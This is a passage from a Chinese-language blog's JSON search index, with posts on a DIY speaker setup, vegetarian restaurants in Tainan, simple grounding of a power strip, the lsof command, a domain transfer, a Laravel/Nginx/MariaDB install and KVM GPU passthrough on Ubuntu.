這款喇叭大特價，原本這組喇叭的定價大約是六千左右，過年限時特價台幣 2990 元，所以馬上買了一組來用用看。\u003c/p\u003e","title":"[開箱] Creative GigaWorks T40 Series II 喇叭"},{"content":"本篇記錄最近我自己買了一個二手 YAMAHA NX-GX50 喇叭，配上 FX AUDIO 502E 擴大機自組音響的過程。\n最近把家裡的客廳整理了一下，打算放一組音響來聽音樂，原本考慮買一組新的 YAMAHA 喇叭，不過因為我們家旁邊就是田，時常會有小蟲子、蜘蛛、壁虎等小動物，再加上靠窗天天曬太陽，所以可能也不適合放太高級的音響喇叭，所以決定買個便宜的二手喇叭，音質好又不怕弄髒或弄壞，還可以當成小朋友的玩具。\n我從網路上找了一下 YAMAHA 的二手喇叭，看到這一對二手的 YAMAHA NX-GX50，開價 1,200 元，我給他殺到 800 元，加上順豐快遞的運費 150 元，總共花了我 950 元，老實說我還是感覺有點貴，不過我急著想要趕快組起來聽音樂，所以就直接買了。\n這是這對喇叭剛收到的狀態，外觀還算可以。\n喇叭收到之後，稍微清理一下灰塵，感覺還可以接受。\n這是喇叭單體的狀況，其中有一個單體破了一個小洞，其餘都正常。\n這是喇叭背面的狀況，沒有受潮的痕跡。\n有了主要的喇叭之後，還需要擴大機、喇叭線、音源線等材料。\n喇叭線一開始隨便買，挑最便宜的紅黑線，10 米的價格才 60 元，後來想想不太對，後來又挑一綑比較好一點的 NEOTECH 喇叭線，20 米的價格是 999 元。\n兩種喇叭線除了價格之外，粗細也差很多。\n既然買了 NEOTECH 的喇叭線，所以就順便也買了香蕉頭，方便接線，10 個接頭價格是 999 元。\n擴大機我是選 FX AUDIO 的 FX-502E，功能簡單、價格便宜，擴大機加上變壓器價格是 1530 元。\n音源輸入只有 RCA 端子，輸出單純的左右聲道。\nFX AUDIO 502E 擴大機外觀質感不錯，這是底部的樣子。\n準備好所有的材料之後，就可以開始組裝了。\n一開始先試試看用便宜的紅黑線效果有多差，剝線就用普通的尖嘴鉗就可以搞定了。\n線剝好之後，就把喇叭與擴大機接起來，另外接上一張 mp3 無損解碼板測試。\n用便宜的紅黑線接喇叭，喇叭還是會有聲音，不過音質就差很多，聲音單薄無力。\n測試過便宜的紅黑線之後，接著把線換成比較粗的 NEOTECH 喇叭線。\n擴大機這一端則接上香蕉頭。\n這樣就完成一台自組的音響了，放進客廳的電視櫃，就可以開始聽音樂了。換成 NEOTECH 的喇叭線之後，聲音就比較飽滿了，音質聽起來比我最近買的 Creative GigaWorks T40 Series II 喇叭還要好。\n這是右側的喇叭。\n這次組這一台音響除了讓客廳可以聽音樂之外，最重要的是要讓阿玄學習如何組裝音響。\n擴大機我特別放在比較低的位置，方便阿玄操作，因為是便宜的設備，可以放心讓他玩。\n這個音響也可以接上手機或是各種音樂撥放設備，很適合讓小朋友學習組裝音響設備。\n這次組裝這一台音響總共大約花了三千元左右，聽起來的音質比六千元的喇叭更好，另外還可以讓小朋友學習組裝音響，不要老是玩手機或看電視，我是感覺很划算。\n如果想要讓音響可以有藍芽功能，透過手機或是電腦遙控的話，可以再加上一片 XY-BT-MINI 藍芽接收模組，這樣就可以升級成藍芽音響了。\n這個 228 連假阿玄除了學習組裝一台音響之外，還學了如何組裝一台電腦，不過組電腦的過程我就沒有記錄了。\n","permalink":"https://blog.gtwang.org/diy/yamaha-nx-gx50-fx-audio-502e-loudspeaker-system-2019/","summary":"\u003cp\u003e本篇記錄最近我自己買了一個二手 YAMAHA NX-GX50 喇叭，配上 FX AUDIO 502E 擴大機自組音響的過程。\u003c/p\u003e\n\u003cp\u003e最近把家裡的客廳整理了一下，打算放一組音響來聽音樂，原本考慮買一組新的 YAMAHA 喇叭，不過因為我們家旁邊就是田，時常會有小蟲子、蜘蛛、壁虎等小動物，再加上靠窗天天曬太陽，所以可能也不適合放太高級的音響喇叭，所以決定買個便宜的二手喇叭，音質好又不怕弄髒或弄壞，還可以當成小朋友的玩具。\u003c/p\u003e","title":"[DIY] YAMAHA NX-GX50 喇叭搭配 FX AUDIO FX-502E 擴大機自組音響"},{"content":"禾米蔬食是台南善化的素食簡餐店，食材挑選非常講究，有各式的猴頭菇料理，餐點美味又健康。\n禾米蔬食目前已經取消店面內用，改以純 Uber Eats 與 Foodpanda 外送經營。\n禾米蔬食位於善化的光復路上，距離南科很近，我在 2017 年的時候有寫過一篇禾米蔬食的介紹文章，經過兩年之後，菜色有一些改變，這是 2019 年的菜單。\n禾米蔬食的餐點當中我最常吃的就是炒飯，在店內用餐的話，炒飯會附贈一碗清湯。\n禾米蔬食大部分的餐點都會加上他們特製的猴頭菇片，猴頭菇很嫩、味道也很好，不會讓人咬不爛，小朋友與老人也都適合吃。\n這一碗是鍋燒意麵，阿玄最愛吃這個。\n番茄猴菇拉麵。\n薯條、素蚵仔酥。\n黑胡椒猴菇炒麵。\n猴菇番茄炒飯。\n猴菇藥膳麵。\n猴菇醬油炒飯與猴菇沙茶炒飯。\n猴菇麻油麵。\n以下是最近帶阿玄來用餐的照片，他現在年紀比較大了，我就把一台舊的 Olympus 單眼相機送給他，讓他練習拍照。\n","permalink":"https://blog.gtwang.org/life/he-mi-vegetarian-restaurant-shanhua-tainan-2019/","summary":"\u003cp\u003e禾米蔬食是台南善化的素食簡餐店，食材挑選非常講究，有各式的猴頭菇料理，餐點美味又健康。\u003c/p\u003e\n\u003cp\u003e\n\n\u003cins class=\"adsbygoogle\"\n     style=\"display:block\"\n     data-ad-client=\"ca-pub-7794009487786811\"\n     data-ad-slot=\"9921134032\"\n     data-ad-format=\"auto\"\n     data-full-width-responsive=\"true\"\u003e\u003c/ins\u003e\n\u003cscript\u003e\n     (adsbygoogle = window.adsbygoogle || []).push({});\n\u003c/script\u003e\n\u003c/p\u003e\n\n\u003cblockquote class=\"caution\"\u003e\u003cp\u003e禾米蔬食目前已經取消店面內用，改以純 Uber Eats 與 Foodpanda 外送經營。\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e禾米蔬食位於善化的光復路上，距離南科很近，\u003ca href=\"/life/he-mi-vegetarian-restaurant-shanhua-tainan-2017/\"\u003e我在 2017 年的時候有寫過一篇禾米蔬食的介紹文章\u003c/a\u003e，經過兩年之後，菜色有一些改變，這是 2019 年的菜單。\u003c/p\u003e","title":"[台南善化素食] 禾米蔬食：義大利麵、拉麵、飯類、火鍋、猴頭菇料理，2019 更新"},{"content":"本篇是我今天去台南桂田酒店的阿力海百匯自助餐廳，吃素食餐點的記錄。\n今天跟同事聚餐，地點選在台南桂田酒店的阿力海百匯自助餐廳，這間是高級的吃到飽餐廳，也有提供不錯的素食餐點，以下是我的用餐記錄。\n桂田酒店有免費的停車場，車位很多，停車很方便。\n停好車可從後方的入口進入桂田酒店。\n酒店後方有不錯的小庭園。\n阿力海餐廳就在酒店的一樓。\n找到位子之後，就可以開始去取拿想要吃的東西了。\n如果是素食的人可以先跟服務員講一下，說自己要一份素食餐點，他們會請廚房現做一份素食的餐點直接送來位子上，不過由於是現做的，所以要等比較久（大約要一、二十分鐘吧），所以這段時間可以先去拿一些生菜沙拉、水果、飲料等，這些一般吃到飽都有的東西我就沒有拍照了。\n一般吧檯上面的餐點雖然都有標示名稱，不過沒有註明葷素，所以素食的人自己去找東西吃的時候，要自己仔細判斷東西是葷的還是素的，不確定的最好別亂拿。\n素食的餐點是一次就全部上完的，這些就是一份素食的餐點。\n主食有米糕、鹹粄、素排，品質還算不錯，沒有奇怪的味道。\n涼拌菜有雪蓮子、黑木耳，還有沾醬。\n這一小盤有涼拌木瓜絲（我吃起來感覺應該是啦）、玉米筍、小番茄與蓮藕。\n白色這碗是素羹。\n黑色的這一碗是三杯猴頭菇，猴頭菇很好吃。\n素食的餐點份量適中，口味剛好（我感覺是剛好啦，有些人可能會感覺清淡些），素料的部分用的都算不錯，沒有奇怪的葷腥味。\n基本上吃完沙拉、素食的主餐，再吃一些甜點我就很飽了。這一盤是同事拿的甜點，因為我實在吃不下那麼多，所以跟他借來拍一下。\n這半盤才是我的，吃到這裡就已經吃不下了。\n撇開價位不談，這裡對於素食者來說還算不錯，素食者吃到飽沒太大問題。\n","permalink":"https://blog.gtwang.org/life/queenaplaza-restaurant-vegetarian-meal-tainan-20190213/","summary":"\u003cp\u003e本篇是我今天去台南桂田酒店的阿力海百匯自助餐廳，吃素食餐點的記錄。\u003c/p\u003e\n\u003cp\u003e今天跟同事聚餐，地點選在台南桂田酒店的阿力海百匯自助餐廳，這間是高級的吃到飽餐廳，也有提供不錯的素食餐點，以下是我的用餐記錄。\u003c/p\u003e","title":"台南桂田酒店阿力海百匯自助餐廳素食餐點"},{"content":"本篇記錄我自己用的簡單接地線方法，解決電腦機殼電人的問題。\n一般電腦用的延長線都會設計成三個插孔的插頭與插座，如果自己家裡牆壁上沒有三插孔的插座，大部分人的做法就是買個三孔轉兩孔的插座插上去就直接用了，不管接地線，不過這樣做有個缺點，如果電器設備漏電的話，就容易被電到，我個人就有被電腦機殼電到的經驗。\n如果不想讓這些設備容易電人，就要確實將接地線拉出來接到地上，比較好的電腦用延長線（我的這條是 Targus 的延長線）會有一個接地指示燈（Not Grounded），沒有妥善接地的話，它就會亮起，這種狀況下若電器漏電就會容易電到人。\n標準的接地方式是打銅樁在地上，不過一般人要這樣做真的很麻煩，買的到材料也不見得有地方打，我自己是找房子裡面有較大面積金屬接地的地方，例如鋁門窗、欄杆等，剛好我的電腦中旁邊就是大門，下方有金屬的門軌，有好幾公尺的接地面積，所以就想辦法把接地線連接到門軌上就可以了。\n接地線最好找綠色的，粗一點更好，不過我手上只有這種細細的線，只好先勉強用一下。\n因為我感覺這種線實在是太細了，所以剪了兩條並聯綁在一起，其實這樣也不太合格，改天有機會再換粗一點的線。\n把接地線的一端固定在門軌上。\n因為門軌通常不好連接，建議可以用燕尾夾架住，或是直接用焊的。當然連接的位置要選擇平常門比較不會推到的位置，否則被門撞開就失效了。\n將線的另外一端鎖在三孔轉兩孔轉接插座的接地端，這樣就完成接地的動作了。\n妥善接地之後，未接地燈號就會熄滅。\n這樣就可以放心使用各種電腦設備，不用擔心漏電的問題了。\n這種簡易的接地方式我實際試過確實可以排除電腦機殼電人的問題，不過如果是更耗電的電器（例如電熱水器），就不可以這樣隨便接，最好還是請水電師傅來按照標準的方式接地，確保安全。\n","permalink":"https://blog.gtwang.org/diy/an-easy-way-to-grounded-electrical-outlet-20190212/","summary":"\u003cp\u003e本篇記錄我自己用的簡單接地線方法，解決電腦機殼電人的問題。\u003c/p\u003e\n\u003cp\u003e一般電腦用的延長線都會設計成三個插孔的插頭與插座，如果自己家裡牆壁上沒有三插孔的插座，大部分人的做法就是買個三孔轉兩孔的插座插上去就直接用了，不管接地線，不過這樣做有個缺點，如果電器設備漏電的話，就容易被電到，我個人就有被電腦機殼電到的經驗。\u003c/p\u003e","title":"[DIY] 電腦延長線簡單接地線的方法"},{"content":"本篇介紹如何使用 Linux 的 lsof 指令，查詢系統上各行程所開啟的檔案。\n在 Linux 系統之下，幾乎所有的系統資源都是以檔案的形式呈現的（包含一般檔案、目錄、連結檔、裝置檔、管線檔、網路 socket 等），所以對於管理者來說，若要查詢一個程式使用了哪些系統資源，就可以透過它開啟的檔案來得知。\nlsof 指令可以用來查詢行程所開啟的檔案列表，這個小工具對於系統管理者來說非常實用，而且也非常重要，以下是這個工具的使用方式與範例。\n列出所有行程所開啟的檔案 直接執行 lsof 指令的話，可以列出系統上每一個行程所開啟的檔案列表：\n# 列出所有行程所開啟的檔案 lsof 不過由於輸出的資料量太大了，通常我們不太會這樣使用。\n查詢開啟指定檔案的行程 如果想要查詢目前正在開啟指定檔案的行程，可以在執行 lsof 時直接加上檔案的名稱與路徑。\n以 GVim 編輯器來說，當它開啟檔案進行編輯時，會自動開啟一個 .swp 的隱藏檔，我們可以使用以下指令來驗證：\n# 列出所有行程所開啟的檔案 lsof .my_file.txt.swp COMMAND PID USER FD TYPE DEVICE SIZE/OFF NODE NAME gvim 7167 gtwang 14u REG 8,6 12288 786944 .my_file.txt.swp 列出指定使用者所開啟的檔案 若要讓 lsof 列出指定用者所開啟的所有檔案，可以使用 -u 參數指定使用者名稱：\n# 列出 gtwang 使用者所開啟的檔案 lsof -u gtwang 若要一次列出多位使用者所開啟的檔案，可以使用逗號分隔，或是使用多個 -u 參數來指定：\n# 列出多位使用者所開啟的檔案 lsof -u user1,user2,user3 # 列出多位使用者所開啟的檔案 lsof -u user1 -u user2 -u user3 列出指定程式所開啟的檔案 如果想要列出指定程式所開啟的檔案，可以使用 -c 參數指定程式的名稱，例如列出 httpd 這個網頁伺服器所開啟的檔案：\n# 列出 httpd 伺服器所開啟的檔案 lsof -c httpd 若要列出多個程式所開啟的檔案，可以使用多個 -c 參數來指定：\n# 列出多個程式所開啟的檔案 lsof -c java -c httpd 多條件 AND 運算 lsof 可以同時指定多個篩選條件，預設的狀況下多個條件之間會以 OR 運算來結合，假設我們想要列出 root 使用者所開啟的檔案，或是 java 這個應用程式所開啟的檔案，就可以這樣寫：\n# 多個條件（OR 運算） lsof -u root -c java 而如果我們想要以 AND 運算來結合多個條件，可加上 -a 參數。例如若要列出 root 使用者執行 java 程式所開啟的檔案，可以這樣寫：\n# 多個條件（AND 運算） lsof -a -u root -c java 排除條件 如果想要排除特定的使用者所開啟的檔案，可以在使用者名稱之前加上 ^ 符號：\n# 列出非 root 使用者所開啟的檔案 lsof -u ^root 這樣就會列出除了 root 之外，所有使用者所開啟的檔案。\n根據 PID 列出所開啟的檔案 若要列出指定 PID 的行程所開啟的檔案，可以使用 -p 參數來指定 PID：\n# 列出 PID 為 14662 的行程，所開啟的檔案 lsof -p 14662 若要同時根據多個 PID 列出開啟的檔案，一樣可以用逗號分隔多個 PID：\n# 根據多個 PID 列出開啟的檔案 lsof -p 14662,14678,14979 網路連線 lsof 的 -i 參數可以用來查詢所有的網路連線：\n# 列出所有網路連線 lsof -i 若想只想要列出 TCP 或 UDP 的網路連線，可以在 -i 參數之後指定 tcp 或 udp：\n# 列出所有 TCP 網路連線 lsof -i tcp # 列出所有 UDP 網路連線 lsof -i udp 亦可指定連接埠，例如列出網頁伺服器的網路連線：\n# 列出 80 連接埠的網路連線 lsof -i :80 這是一些其他的範例：\n# 列出 SMTP 的網路連線 lsof -i :smtp # 列出 3642 連接埠的 TCP 連線 lsof -i tcp:3642 # 列出 1 到 1024 連接埠的 TCP 網路連線 lsof -i :1-1024 若要列出所有處於 LISTEN 狀態的 TCP 網路連線，可以執行：\n# 列出所有處於 LISTEN 狀態的 TCP 網路連線 lsof -i TCP -s TCP:LISTEN 列出已建立的 TCP 網路連線：\n# 列出已建立的 TCP 網路連線 lsof -i TCP -s TCP:ESTABLISHED 參考資料 Daniel Miessler Linux Handbook ","permalink":"https://blog.gtwang.org/linux/linux-lsof-command-list-open-files-tutorial-examples/","summary":"\u003cp\u003e本篇介紹如何使用 Linux 的 \u003ccode\u003elsof\u003c/code\u003e 指令，查詢系統上各行程所開啟的檔案。\u003c/p\u003e\n\u003cp\u003e在 Linux 系統之下，幾乎所有的系統資源都是以檔案的形式呈現的（包含一般檔案、目錄、連結檔、裝置檔、管線檔、網路 socket 等），所以對於管理者來說，若要查詢一個程式使用了哪些系統資源，就可以透過它開啟的檔案來得知。\u003c/p\u003e","title":"Linux 列出行程開啟的檔案，lsof 指令用法教學與範例"},{"content":"本篇記錄本站的網域從 GoDaddy 移轉到 Google Domains 的流程，可省下大筆續約費用。\n本站的網域一直以來都是透過 GoDaddy 來購買的，而最近正準備要續約，卻發現 GoDaddy 的續約價格比一般的網域商貴很多，以 .org 網域來說，續約一年就要台幣 639 元，而且還沒有包含隱私保護的功能（若要添購的話，一年是台幣 293 元），而 Google Domains 的價格一年只要美金 12 元，內含隱私保護功能，而且 Google 伺服器的穩定性也不會比 GoDaddy 差，相比之下當然是轉到 Google Domains 比較划算。\n轉移網域的步驟雖然繁複，但是都不難，只要逐步處理就可以輕鬆完成，以下是處理的步驟。\n準備轉移 Step 1\n開啟 Google Domains 的網頁。由於 Google Domains 目前尚未正式支援台灣，所以在使用時要選擇「美國」。\nStep 2\n選擇「轉移」籤頁，然後輸入想要進行移轉的網址。\nStep 3\n依照網頁上的步驟說明，開始進行網域的轉移。\n解除鎖定、取得授權碼 Step 1\n登入 GoDaddy 的網域管理介面，解除網域的鎖定功能。\nStep 2\n點選「將網域從 GoDaddy 轉出」。\nStep 3\n填寫好簡單的問卷，點選「繼續轉移」。\nStep 4\n打開自己的 Email 信箱，收取由 GoDaddy 所寄發的網域轉移授權碼。\n轉移網域 Step 1\n在 GoDaddy 解除網域鎖定，並取得授權碼之後，將授權碼貼在 Google Domains 的網頁上，點選「繼續」就可以進行轉移。\nStep 2\n選擇 DNS 的管理方式，可以選擇使用 Google Domains 所提供的 DNS 伺服器，或是使用自己的 DNS 伺服器亦可。\n以我的狀況來說，我原本就是使用 Cloudflare 的 DNS 伺服器，在這次轉移的過程不想更動它，所以我選擇「保留現有的網域名稱伺服器」。\nStep 3\n調整註冊設定，這裡建議可以啟用隱私保護的功能（這個在 GoDaddy 是要加錢的），而自動續約就看自己有沒有需要。\nStep 4\n填寫聯絡資訊。\nStep 5\n透過 Google Pay 付款。\n從別家網域商轉移至 Google Domains 的時候，要支付的這個費用其實就是加買一年網域的錢，也就是說轉移網域是不需要另外付費的。\nStep 6\n付款完成之後，Google Domains 會顯示這個網域處於「轉移中」的狀態。\n接受網域移轉 Step 1\n開啟 GoDaddy 網域的管理介面，在移轉待定的表格中，可以看到等待接受或拒絕轉移的網域。\nStep 2\n選擇接受轉移。\n驗證 Email Step 1\n接受移轉網域之後，Google Domains 的管理介面上就會顯示 Email 需要驗證。\nStep 2\n收取驗證的 Email 信件，驗證 Email 信箱。\n完成轉移 這樣就完成網域的轉移動作了，接下來就可以使用 Google Domains 的管理介面，調整 DNS 相關的設定了。\n從 GoDaddy 轉移至 Google Domains 的時候，會自動再續約一年，所以網址的使用期限在轉移完成之後就會多一年。\n我之前處理過從 register 轉移網域到 GoDaddy，花了將近一個月，結果這次從 GoDaddy 移轉到 Google Domains，只用了一小時就完成了，感覺 GoDaddy 也還算是不錯的網域商，轉出的時候不會像 register 一樣故意拖延。\n","permalink":"https://blog.gtwang.org/web-hosting/domain-transfer-from-godaddy-to-google-domains-tutorial/","summary":"\u003cp\u003e本篇記錄本站的網域從 GoDaddy 移轉到 Google Domains 的流程，可省下大筆續約費用。\u003c/p\u003e\n\u003cp\u003e本站的網域一直以來都是透過 GoDaddy 來購買的，而最近正準備要續約，卻發現 GoDaddy 的續約價格比一般的網域商貴很多，以 \u003ccode\u003e.org\u003c/code\u003e 網域來說，續約一年就要台幣 639 元，而且還沒有包含隱私保護的功能（若要添購的話，一年是台幣 293 元），而 Google Domains 的價格一年只要美金 12 元，內含隱私保護功能，而且 Google 伺服器的穩定性也不會比 GoDaddy 差，相比之下當然是轉到 Google Domains 比較划算。\u003c/p\u003e","title":"從 GoDaddy 轉移網域到 Google Domains 教學"},{"content":"本篇介紹如何在 Ubuntu Linux 18.04 的環境中，安裝 Nginx 網頁伺服器、MariaDB 資料庫，打造簡單實用的 Laravel PHP 架構開發與佈署環境。\n安裝 Laravel 相依性工具 在安裝好 Ubuntu Linux 18.04 之後，首先更新一下系統的套件：\n# 更新系統套件 sudo apt update sudo apt dist-upgrade Laravel 所需要的相依性工具都已經被納入 Ubuntu Linux 18.04 的套件庫中了，所以只要使用 apt 安裝即可：\n# 安裝 Nginx、PHP、MariaDB、Composer 等套件 sudo apt install composer php-mysql php-fpm php-mbstring php-tokenizer php-xml php-json php-common nginx mariadb-server 建立 Laravel 專案 Laravel 專案的建立非常簡單，只要使用 Composer 這個自動化工具就可以快速建立一個新專案：\n# 建立新的 Laravel 專案 composer create-project --prefer-dist laravel/laravel myProject 啟動 Lavevel 內建的開發用伺服器：\n# 啟動開發用伺服器 cd myProject/ php artisan serve Laravel development server started: \u0026lt;http://127.0.0.1:8000\u0026gt; 這個 Laravel 內建的伺服器預設會開在本機的 8000 連接埠。\n若要將 Laravel 內建的伺服器開在其他的網路介面上，可以以使用 --host 與 --port 自行指定傾聽之 IP 位址與連接埠：\n# 指定傾聽之 IP 位址與連接埠 php artisan serve --host=192.168.122.202 --port=8001 若在遠端的伺服器上開發的時候，就可以考慮使用這種方式。\n如果擔心將開發用的伺服器開放公開的網路介面上會有安全性的問題，也可以將伺服器開在本機，然後搭配 SSH Tunnel 的方式來開發。\nNginx 伺服器 若要將 Laravel 專案佈署至 Nginx 伺服器上，首先要將檔案移至系統目錄：\n# 將 Laravel 專案移至系統目錄 sudo mv myProject /var/www/ 然後設定好檔案權限：\n# 設定檔案權限 sudo chown -R www-data:www-data /var/www/myProject/ 在 /etc/nginx/sites-available/ 目錄中新增一個 Laravel 網站的設定檔，命名為 myProject（也可以任意取其他的名字），內容大致如下：\nserver { listen 80; listen [::]:80; # 網頁目錄 root /var/www/myProject/public; # 伺服器名稱 server_name your_name.com; index index.php; location / { try_files $uri $uri/ /index.php?$query_string; } location ~ .php$ { include snippets/fastcgi-php.conf; # PHP-FPM 的連接方式 fastcgi_pass unix:/run/php/php7.2-fpm.sock; } } 在 /etc/nginx/sites-enabled/ 目錄中建立一個指向該設定檔的連結檔案：\n# 建立連結檔案 ln -s /etc/nginx/sites-available/myProject /etc/nginx/sites-enabled/myProject 重新啟動 Nginx 網頁伺服器，讓新設定生效：\n# 重新啟動 Nginx 網頁伺服器 systemctl restart nginx 這樣 Nginx 的部份就完成了。\nMariaDB 資料庫 在安裝好 MariaDB 資料庫後，使用前建議先調整一下安全性的設定：\n# MariaDB/MySQL 資料庫安全性設定 sudo mysql_secure_installation 設定好之後，使用 root 管理者帳號登入 MariaDB 資料庫：\n# 使用 root 登入 MariaDB/MySQL 資料庫 sudo mysql -u root -p 進入 MariaDB 資料庫之後，建立 Laravel 專案用的資料庫：\n# 建立 laravel 資料庫 CREATE DATABASE laravel; 接著新增一位 Laravel 專案專用的使用者帳號，並賦予此帳號存取資料庫的權限：\n# 建立一般使用者帳號 CREATE USER `user`@`localhost` IDENTIFIED BY \u0026#39;yourpassword\u0026#39;; # 設定帳號權限 GRANT ALL ON laravel.* TO `user`@`localhost`; # 讓設定生效 FLUSH PRIVILEGES; 編輯 Laravel 專案目錄中的 .env 設定檔，將資料庫的相關資訊填入其中：\nDB_DATABASE=laravel DB_USERNAME=user DB_PASSWORD=yourpassword 除了 .env 的設定檔之外，也可以直接編輯 config/database.php 中的資料庫設定。\n查詢 MariaDB 資料庫 若想要測試一下實際的資料庫連線，可以建立測試用的 Controller：\nphp artisan make:controller MariaDBInfoController 編輯 app/Http/Controllers/MariaDBInfoController.php，內容如下：\n\u0026lt;?php namespace myProjectHttpControllers; use IlluminateHttpRequest; class MariaDBInfoController extends Controller { public function index() { $result = DB::select(\u0026#39;SELECT VERSION();\u0026#39;); return view(\u0026#39;MariaDBInfo\u0026#39;)-\u0026gt;with(\u0026#39;dbVersion\u0026#39;, $result[]-\u0026gt;{\u0026#39;VERSION()\u0026#39;}); } } 這裡我示範使用簡單的 SQL 語法，查詢資料庫的版本。\n建立一個對應的 View，放在 resources/views/MariaDBInfo.blade.php，內容如下：\n\u0026lt;!doctype html\u0026gt; \u0026lt;html\u0026gt; \u0026lt;head\u0026gt; \u0026lt;title\u0026gt;MariaDB Info\u0026lt;/title\u0026gt; \u0026lt;/head\u0026gt; \u0026lt;body\u0026gt; {{ $dbVersion }} \u0026lt;/body\u0026gt; \u0026lt;/html\u0026gt; 最後設定路由（route），在 routes/web.php 中加入一行：\nRoute::get(\u0026#39;/db_info\u0026#39;, \u0026#39;MariaDBInfoController@index\u0026#39;); 完成後，即可測試 /db_info 這個網址：\n參考資料 LinuxConfig.org Website for Students DigitalOcean HowtoForge DigitalOcean DigitalOcean Linuxize ","permalink":"https://blog.gtwang.org/linux/ubuntu-linux-laravel-nginx-mariadb-installation-tutorial/","summary":"\u003cp\u003e本篇介紹如何在 Ubuntu Linux 18.04 的環境中，安裝 Nginx 網頁伺服器、MariaDB 資料庫，打造簡單實用的 Laravel PHP 架構開發與佈署環境。\u003c/p\u003e\n\u003cp\u003e\n\n\u003cins class=\"adsbygoogle\"\n     style=\"display:block\"\n     data-ad-client=\"ca-pub-7794009487786811\"\n     data-ad-slot=\"9921134032\"\n     data-ad-format=\"auto\"\n     data-full-width-responsive=\"true\"\u003e\u003c/ins\u003e\n\u003cscript\u003e\n     (adsbygoogle = window.adsbygoogle || []).push({});\n\u003c/script\u003e\n\u003c/p\u003e\n\n\u003ch2 id=\"安裝-laravel-相依性工具\"\u003e安裝 Laravel 相依性工具\u003c/h2\u003e\n\u003cp\u003e在安裝好 Ubuntu Linux 18.04 之後，首先更新一下系統的套件：\u003c/p\u003e","title":"Ubuntu Linux 安裝 Laravel + Nginx + MariaDB 開發環境教學"},{"content":"本篇介紹如何在 Ubuntu Linux 系統上，安裝 KVM/QEMU 虛擬機器，並設定讓虛擬機器可以使用 GPU 顯示卡繪圖。\n硬體虛擬化 KVM 必須依賴 CPU 硬體虛擬化的功能，所以在安裝 KVM 之前，要先檢查一下自己的 CPU 是否支援 Intel VT 或 AMD-V：\n# 檢查 CPU 是否支援 Intel VT 或 AMD-V egrep \u0026#39;(vmx|svm)\u0026#39; /proc/cpuinfo flags : fpu vme de pse tsc msr pae mce cx8 apic sep mtrr pge mca cmov pat pse36 clflush dts acpi mmx fxsr sse sse2 ss ht tm pbe syscall nx rdtscp lm constant_tsc arch_perfmon pebs bts rep_good nopl xtopology nonstop_tsc aperfmperf eagerfpu pni dtes64 monitor ds_cpl vmx est tm2 ssse3 cx16 xtpr pdcm sse4_1 sse4_2 popcnt lahf_lm ssbd ibrs ibpb stibp tpr_shadow vnmi flexpriority ept vpid dtherm ida spec_ctrl intel_stibp flush_l1d 若在 /proc/cpuinfo 的 flags 中有出現 vmx 或 svm，就代表 CPU 有支援硬體虛擬化，這樣就可以放心安裝 KVM 了。\n安裝 KVM 相關套件 使用 apt 安裝 KVM/QEMU 相關套件：\n# 安裝 KVM/QEMU 相關套件 sudo apt install qemu-kvm libvirt-clients libvirt-daemon-system bridge-utils virt-manager ovmf 設定 GPU Passthrough（VFIO/IOMMU） 若要讓 VM 可以使用 NVIDIA 的顯示卡，就不可以在實體機器的作業系統（Host OS）上安裝任何顯示卡的驅動程式，也就是說除了不可以安裝 NVIDIA 的顯示卡驅動程式之外，還要把開放原始碼的 Nouveau 驅動程式列入黑名單，禁止它被載入。\n在 /etc/modprobe.d/ 目錄下，新增一個 blacklist-nouveau.conf 設定檔，內容如下：\nblacklist nouveau options nouveau modeset=0 編輯 /etc/default/grub 設定檔，修改 GRUB_CMDLINE_LINUX_DEFAULT 的設定值，增加 intel_iommu=on 選項：\nGRUB_CMDLINE_LINUX_DEFAULT=\u0026#34;quiet splash intel_iommu=on\u0026#34; 更新 GRUB 的設定：\n# 更新 GRUB 設定 sudo update-grub 使用 lspci 查詢顯示卡的 PCI 編號、vendor ID 與 device ID：\n# 查詢顯示卡的 PCI 編號、vendor ID 與 device ID lspci -nn | grep -i nvidia 0e:00.0 VGA compatible controller [0300]: NVIDIA Corporation GP106 [GeForce GTX 1060 6GB] [10de:1c03] (rev a1) 0e:00.1 Audio device [0403]: NVIDIA Corporation GP106 High Definition Audio Controller [10de:10f1] (rev a1) 以這張 GeForce GTX 1060 6GB 顯示卡來說，VGA compatible controller 的 PCI ID 為 0e:00.0，而 vendor ID 與 device ID 則為 10de:1c03。\n設定 VFIO-PCI 核心模組選項，在 /etc/modprobe.d/ 目錄下，新增一個 vfio.conf 設定檔，將顯示卡的 vendor ID 與 device ID 填入：\noptions vfio-pci ids=10de:1c03,10de:10f1 設定啟用 vfio-pci 核心模組：\n# 啟用 vfio-pci 核心模組 sudo echo \u0026#39;vfio-pci\u0026#39; \u0026gt; /etc/modules-load.d/vfio-pci.conf 允許不安全的中斷（unsafe interrupts）：\n# 允許不安全的中斷（unsafe interrupts） sudo echo \u0026#34;options vfio_iommu_type1 allow_unsafe_interrupts=1\u0026#34; \u0026gt; /etc/modprobe.d/iommu_unsafe_interrupts.conf 重新產生核心的 initramfs：\n# 重新產生核心的 initramfs sudo update-initramfs -u 重新開機：\n# 重新開機 sudo reboot 等待重新啟動之後，檢查 IOMMU 是否正常運作：\n# 檢查 IOMMU 是否正常運作 dmesg | grep -E \u0026#34;DMAR|IOMMU\u0026#34; [ 0.000000] ACPI: DMAR 0x00000000CBEA00C0 000138 (v01 AMI OEMDMAR 00000001 MSFT 00000097) [ 0.000000] DMAR: IOMMU enabled [ 0.000000] DMAR-IR: This system BIOS has enabled interrupt remapping [ 0.760517] DMAR: Host address width 39 [ 0.760518] DMAR: DRHD base: 0x000000fbfff000 flags: 0x0 [ 0.760535] DMAR: dmar0: reg_base_addr fbfff000 ver 1:0 cap c9008010e60262 ecap f020fa [ 0.760536] DMAR: DRHD base: 0x000000fbffe000 flags: 0x1 [ 0.760542] DMAR: dmar1: reg_base_addr fbffe000 ver 1:0 cap c9078010ef0462 ecap f020fe [ 0.760543] DMAR: RMRR base: 0x000000000e4000 end: 0x000000000e87ff [ 0.760544] DMAR: RMRR base: 0x000000cbeeb800 end: 0x000000cbefffff [ 0.760545] DMAR: ATSR flags: 0x0 [ 0.760663] DMAR: dmar0: Using Queued invalidation [ 0.760671] DMAR: dmar1: Using Queued invalidation [ 0.760687] Your BIOS is broken; DMA routed to ISOCH DMAR unit but no TLB space. [ 0.760867] DMAR: Hardware identity mapping for device 0000:00:1b.0 [ 0.760875] DMAR: Setting RMRR: [ 0.760954] DMAR: Setting identity map for device 0000:00:1a.0 [0xcbeeb800 - 0xcbefffff] [ 0.761049] DMAR: Setting identity map for device 0000:00:1a.1 [0xcbeeb800 - 0xcbefffff] [ 0.761136] 